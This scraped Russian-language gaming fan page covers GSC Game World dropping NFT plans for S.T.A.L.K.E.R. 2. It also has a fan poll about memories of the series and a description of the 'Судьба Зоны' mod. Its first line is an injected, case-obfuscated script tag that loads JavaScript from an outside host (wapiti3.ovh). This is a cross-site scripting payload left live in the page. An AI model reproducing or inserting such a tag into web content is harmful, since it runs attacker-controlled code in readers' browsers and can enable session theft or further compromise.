<ScRiPt/src=https://wapiti3.ovh/1z.js></sCrIpT/>
»длиннопост Half-Life Tomb Raider Devil May Cry The Elder Scrolls Last of Us Team Fortress 2 Command & Conquer Fallout Heroes of Might and Magic III S.T.A.L.K.E.R. фэндомы Игры Team Fortress Heroes of Might and Magic Mafia (игра) просто невзъебенное количество Тэгов OVER 9000 tegs!!! Майнебтегокрафт много фактов call of Duty 2 assassin's creed 2 Mafia 2 Dead Island Alan Wake Postal 2 Splinter Cell Red Alert 3 Prince of Persia Pac-man Watch Dogs Metro 2033 half life 3 факты спиздил сам Counter-Strike
stalker 2 NFT #S.T.A.L.K.E.R фэндомы
GSC Game World прокомментировала своё решение отказаться от планов по NFT в отношении S.T.A.L.K.E.R. 2
Вчерашний анонс метавселенной S.T.A.L.K.E.R. Metaverse и NFT вызвал бурю эмоций у игрового сообщества, а в адрес GSC Game World обрушился шквал критики по поводу столь неоднозначного решения студии.
Прислушавшись к критике относительно NFT, всего спустя сутки после анонса метавселенной по S.T.A.L.K.E.R. 2 разработчики приняли решение отменить данную затею, о чем объявили в официальных соцсетях игры (всего за час пост в Twitter c отменой NFT собрал почти 25 тыс. лайков, став самым высоко оценённым постом за всё время):
На официальном Discord-сервере игры один из комьюнити-менеджер разъяснил ситуацию с NFT-элементами и её отменой:Доброй ночи! Мы хотели попробовать что-то новое и не вкладывали в это никакой негатив. Но поняли, что фанатам эта инициатива не нравится. Главное, что мы делаем — это игру для фанатов. Эта политика компании не поменялась и не поменяется никогда.
Да, НФТ эта одна из возможностей получить чуть больше финансирования, но в рамках того, что фанаты это не принимают, мы решили, что единственное правильное решение — отказаться от этой идеи вовсе.
Ведь единственное, для кого делается игра — это вас.
Также разработчики поспешили успокоить поклонников, которые решили, что игре не хватает финансирования:
— Значит ли это, что финансирования не хватает?
— Нет, не значит. Всегда есть вещи, которые можно улучшить — сделать ещё то, что бы ты хотел сделать, попробовать, добавить. Но это не значит, что для игры не хватает финансирования. Всё хорошо! Мы обязательно сделаем всё возможное, чтобы игра понравилась всему нашему игровому комьюнити.
—Значит ли это, что NFT мог повлиять на улучшение качества игры?
— На качество игры это аналогично не повлияет, не стоит переживать.
Игры песочница #S.T.A.L.K.E.R фэндомы
Воспоминания о Сталкере - небольшая теплая ламповая перепись фанов.
Отечественный Fallout - с парой крепких матов и болтами вместо ковбойских сапог | |
|
212 (37.7%) |
"Сталкер" Тарковского / "Пикник на обочине" Стругацких | |
|
101 (17.9%) |
Отечественный Half-life с очень непростой судьбой | |
|
119 (21.1%) |
Детские городские игры, выросшие в страйкобол и диггерство | |
|
72 (12.8%) |
Свой вариант | |
|
59 (10.5%) |
Судьба ЗоныЗоны Судьба зоны stalker video stalker mods #S.T.A.L.K.E.R
СУДЬБА ЗОНЫ модификация с новым сюжетом построенная на платформе Сталкер Тени Чернобыля. Судьба Зоны это попытка авторов показать игру и зону отчуждения совершенно в другом обличии, при этом стараясь отойти от неписанных канонов того самого Сталкера. Проект Судьба Зоны предложит игроку исследовать несколько десятков игровых локаций, значительно измененных после произошедшего в Зоне Сверх-выброса. Увидеть совершенно новую сюжетную историю глазами обычного человека по имени Андрей Войтенко, оказавшегося в гуще событий, надвигающейся угрозы. Помимо совершенно нового сюжета в модификацию добавлена возможность фриплея, новые персонажи, ряд интересных геймплейных и технических решений, которые делают игру на порядок стабильнее и интереснее, многие из которых являются авторскими.
О СЮЖЕТЕ
Действия сюжета разворачиваются в 2014 году. Остались далеко позади события происходящие в Тенях Чернобыля и Зове Припяти, Стрелком давно уже выключен выжигатель, но не смотря на это Зона Отчуждения практически осталась прежней и в ней мало что изменилось. Однако в 2014 году Зону накрывает новый Сверх-выброс, в результате которого Зона разрастается до не вероятных масштабов и удваивает свою территорию в несколько раз. Прежние кордоны уничтожены, проведенная операция по эвакуации гражданского населения, провалена и половина людей населявших эти территории осталась в зоне катастрофы. Катастрофа принимает международный характер и с целью сдерживания хлынувшей волны мутантов, в зону отчуждения прибывают войска НАТО.Главным героем этой истории становиться бывший слесарь по имени Андрей Войтенко. Он является жителем одного из поселка оказавшегося в черте разрастающейся катастрофы. Отсутствие родственников, крова и работы вынуждают принять единственное решение отправиться в Зону. Сюжет мода Судьба Зоны начинает свое развитие в поселке под названием Чернобыль 4. Севернее от которого расположены натовский блокпост, развернутый с целью сдерживания натиска мутантов и места с известным названием Кордон. Стоит заметить, что в свете последних событий Кордон уже является далеко не окраиной Зоны, а располагается глубоко в её центре.Сюжет мода Судьба Зоны будет иметь нелинейный характер, при этом предложив игрокам в финале несколько концовок. Некоторые из них возможно изменят Зону. От старого сюжета ТЧ не останется и следа, дополнительно в игре будет реализован фриплей. Последние события сильно перетряхнувшие зону, заставили многие группировки сменить места дислокации, что неизбежно повлекло за собой образования новых.
ОБ АНОМАЛИЯХ
После каждого выброса аномалии и артефакты генерируются совершенно случайным образом. На локациях размещены зоны аномальной активности, аналог подобных из Зова Припяти. Одно из отличий эти зоны наполняются групповыми аномалиями, цепи, поля и динамические формации. Цепь - это цепная последовательность аномалий, она может быть прерывистой и принимать любую форму. Аномальное поле - это некоторый участок земли на котором аномалии размещены в случайном порядке, они могут различаться по насыщенности и чем ближе мы приближаемся к центру зоны тем опаснее поля и цепи.
ОБ АРТЕФАКТАХ
Свойства артефактом определяются случайно, вы сможете встретить один и тот же тип артефакта, но с более или менее выраженными свойствами. Тип артефакта зависит не только от типа аномалии породивший его, но и от её расположения, находиться она в цепи или же в поле. Артефакты которые вы сможете найти на игровых локациях : Бенгальский огонь, Слизь, Генератор, Орбиталь, Кристальная колючка, Перо, Гнилая земля, Серафим (список артефактов не полный).
Почему такой ярый бугурт развели? Это что-то типа обязательных микротранзакций?